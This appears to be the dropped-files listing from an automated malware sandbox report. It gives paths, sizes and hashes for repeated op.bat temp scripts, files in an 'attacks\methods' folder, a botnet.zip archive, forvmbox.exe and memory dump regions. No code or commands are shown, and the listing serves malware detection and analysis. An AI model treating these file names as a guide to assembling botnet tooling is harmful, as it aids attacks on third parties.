de78fbc0dba6b22750a62e0f90668d95ebb8a8e443169046de20220768ae77f91ee476dbcaec9ef364a4023a258f11f165b2e4dcf9c506752d4f11b2e8865318

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
461312c96382399369e037e9c581c04a

SHA1
f73a171eb209044b1769d48dcd75250bbe551566

SHA256
4b6b7a9e3cde91d8782b5d307544cec690bce62517bee026df323ea69bd97c1c

SHA512
de78fbc0dba6b22750a62e0f90668d95ebb8a8e443169046de20220768ae77f91ee476dbcaec9ef364a4023a258f11f165b2e4dcf9c506752d4f11b2e8865318

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
295B

MD5
d432d2aadc20d749f44888c094b7d922

SHA1
045140e753ffd169cbc62932fb8e819cdd7cd0fe

SHA256
357053fed9a9cecf415ee59bbe5fe148cdbb2a18e4b53a6bd4ee5242e873619f

SHA512
220891a006dd3a27bd914fd3287b1e3f238199d871c7b4aaeb3714bfafaa6f9cabf6c33b73942577940aca4fa3cfbff75934fd8054cf1e9aa192be0572d7ea9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
591d101c08d75a13b707e43d8c2bf599

SHA1
b70aca50ad61161b0886b66cad96cb0895c526bf

SHA256
a7bea590d428bc51a63ed5db44970ecab704287d5f083e1eba4bf2edee7a4234

SHA512
e2786d0e45480f6cf871342e3d201bd62cbf4439ae9bb3e7aa198c75c24ba354fb69fc89fb6a4c3c81bc4f1ad496699a8ed9d09a45cdcf45325c327a5f5a25f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
293B

MD5
9fd9a156e0503f396b9de839a64ce1de

SHA1
738ae2733a0d174fdc545b9be8bcc43ee40b9bdf

SHA256
6202e3e8f545a2d984d7f96ab4a65f2432aaa794109b1fd8494d708c0a45a0e1

SHA512
aaee87f2699b8c4863d8682e58722bcd991f416b5d3889b27868e938af3496ba475c286c24b001b12fb7591706f55df7a35fc71e04452c0df815191eddcbb86a

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
302B

MD5
96d8ad7eca96fd1c1a347b99f5dccdb8

SHA1
bc74461a36efcfbbe13d5f2ac35e1c625759a448

SHA256
042fe2d58a95faa8dba31a8de78d2a6cff99791d0ddc8a33b3cb3668d9978888

SHA512
79926be08e6469351d5f5cbf79ac7f54ae5a03741f928db903bb0868a618a2ed7b837901b851fbba6c092c9779444f5ae46b6b431e52873ec81c265e3070faed

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
713791e5fa0786e3109ad9646472f68a

SHA1
6349414f49eab2b131bf4742c48efbbf6bf3425f

SHA256
e945981ff9815b2b2b4bfe3c7f08998f0a73d076b9697879ecc4e63493f6407b

SHA512
332f2e5fcaad8b093591be2f57579bcbfdf8e1e69a58b45bbe259492b8e7a1b5192cc388d69d9822f6c0f502e32ec59b91c0f23a33064bfa3bcb11425270de66

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
03fea1d6bcd7d043aaee335845eab8b7

SHA1
0b1520b0a713294e9eaaf951fd73dd87d05f50cc

SHA256
7823130b3bddab97f1ff8c98774ec385b4cbdf9a64da0c6ea8fff567cb2137da

SHA512
2ff81843794e28783ca1a84c095a40bc945d2a7bafea2ac40525e825a36f4bcee26c1b2b02189dc8b8085291e80b411a24ebf3ce19ffabf37686d94ab93c1eb4

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\list.txt

Filesize
166KB

MD5
c9ec822e89345dde18682eefc59f5277

SHA1
51886c4a2678d9b90d7254615b833c7183d7f846

SHA256
a3f18997f21d6f962354e6c8addc46899f934d798b142e0d8adad976dfb8a5bc

SHA512
191b2eedf88aa41e6d777bf63628c0417b7694d7dbf75e66f081242f950aba9beb29b3908496fe878f84e57ac7026c46f48d57f12becda525a311713019d2dd7

Download Submit
C:\Users\Admin\Desktop\attacks\methods\tlsv\.git\logs\refs\remotes\origin\HEAD

Filesize
186B

MD5
bfd3d0748ac3a838d224d452d6d5959f

SHA1
9506c3eba5b8fa602290a75597e2ef720767c5d6

SHA256
84ec21b7d8415b974e444e6e230a68a934719a7da452eb0f21ff4ff716e13ba5

SHA512
bef9d23bf2a0a5811c51684e933dba127f817a8dc4b7a0deedbc53af9beb64ab245dfa722b94f10defcbe311b448a6e593173639adb4069d076104ad6848a680

Download Submit
C:\Users\Admin\Desktop\attacks\methods\ua.txt

Filesize
611KB

MD5
14e1ad3a0e97916d917ae0b6687cd200

SHA1
d5154b85ad162f3f5714f9d578dfb4fca9b6af63

SHA256
1a6de1acb8f22f98e2ada85b8cc4a9dab5233c16a60205c726e3366f1d6fc8ff

SHA512
11ddcf49a59f11f619db09e39eb4deb4de80a2c1721452beac8df3cf1ec59c7b9193737beea078a297b6b79adbecf05342e3bac4af26ab9c6e9c60096d01b791

Download Submit
C:\Users\Admin\Desktop\botnet.zip

Filesize
102.2MB

MD5
85b96d8fc5082fcdfa23e010bf0e09b1

SHA1
0dc1081497ba72a3ed819a15ad5d5cd3e881d0ab

SHA256
48e93dc99bc3464f3a7c1e9ca1b35084b267baf5087986360e711e65266e4d23

SHA512
c3688c7e3135c81278c4952bf61aec38ef399f993ffb60d8939fe1e47d9b9adb54f87d14239beb98405d7d63378abfa075a906728c57de7f1dc52c27eea50789

Download Submit
C:\Users\Admin\Desktop\forvmbox.exe

Filesize
92KB

MD5
8c661213d9bbfb8a9a3d42c6b6cb7059

SHA1
9f795650dfbac6f49896026b047d16f3a0c16ec9

SHA256
3a02fcf8821a21bafcdc5273eccce353036dd48ffd5c5f91a1d47e5a9fa243ce

SHA512
d21b5b738857535c6eb181636ab78c08d872d33b5b18dff50ab694f6d1afe335db321767720a0a5ab056c3c03e98195dd4086f7eb8e21abf25ff3c0ac75bf0d4

Download Submit
C:\Users\Admin\Desktop\forvmbox.exe

Filesize
92KB

MD5
8c661213d9bbfb8a9a3d42c6b6cb7059

SHA1
9f795650dfbac6f49896026b047d16f3a0c16ec9

SHA256
3a02fcf8821a21bafcdc5273eccce353036dd48ffd5c5f91a1d47e5a9fa243ce

SHA512
d21b5b738857535c6eb181636ab78c08d872d33b5b18dff50ab694f6d1afe335db321767720a0a5ab056c3c03e98195dd4086f7eb8e21abf25ff3c0ac75bf0d4

Download Submit
memory/3212-180-0x00000162F2DA0000-0x00000162F2DB0000-memory.dmp

Filesize
64KB

Download
memory/3212-149-0x00000162F3C80000-0x00000162F3C8A000-memory.dmp

Filesize
40KB

Download
memory/3212-148-0x00000162F3CC0000-0x00000162F3CD2000-memory.dmp

Filesize
72KB

Download
memory/3212-147-0x00000162F2DA0000-0x00000162F2DB0000-memory.dmp

Filesize
64KB

Download
memory/3212-146-0x00000162F2DA0000-0x00000162F2DB0000-memory.dmp

Filesize
64KB

Download
memory/3212-145-0x00000162F2DA0000-0x00000162F2DB0000-memory.dmp

Filesize
64KB

Download
memory/3212-144-0x00007FFCB4E80000-0x00007FFCB5941000-memory.dmp

Filesize
10.8MB

Download
memory/3212-143-0x00000162F37D0000-0x00000162F37F2000-memory.dmp

Filesize
136KB

Download
memory/3212-177-0x00007FFCB4E80000-0x00007FFCB5941000-memory.dmp

Filesize
10.8MB

Download
memory/3212-181-0x00000162F2DA0000-0x00000162F2DB0000-memory.dmp

Filesize
64KB

Download
memory/3212-194-0x00000162F2DA0000-0x00000162F2DB0000-memory.dmp

Filesize
64KB

Download
memory/3212-287-0x00007FFCB4E80000-0x00007FFCB5941000-memory.dmp

Filesize
10.8MB

Download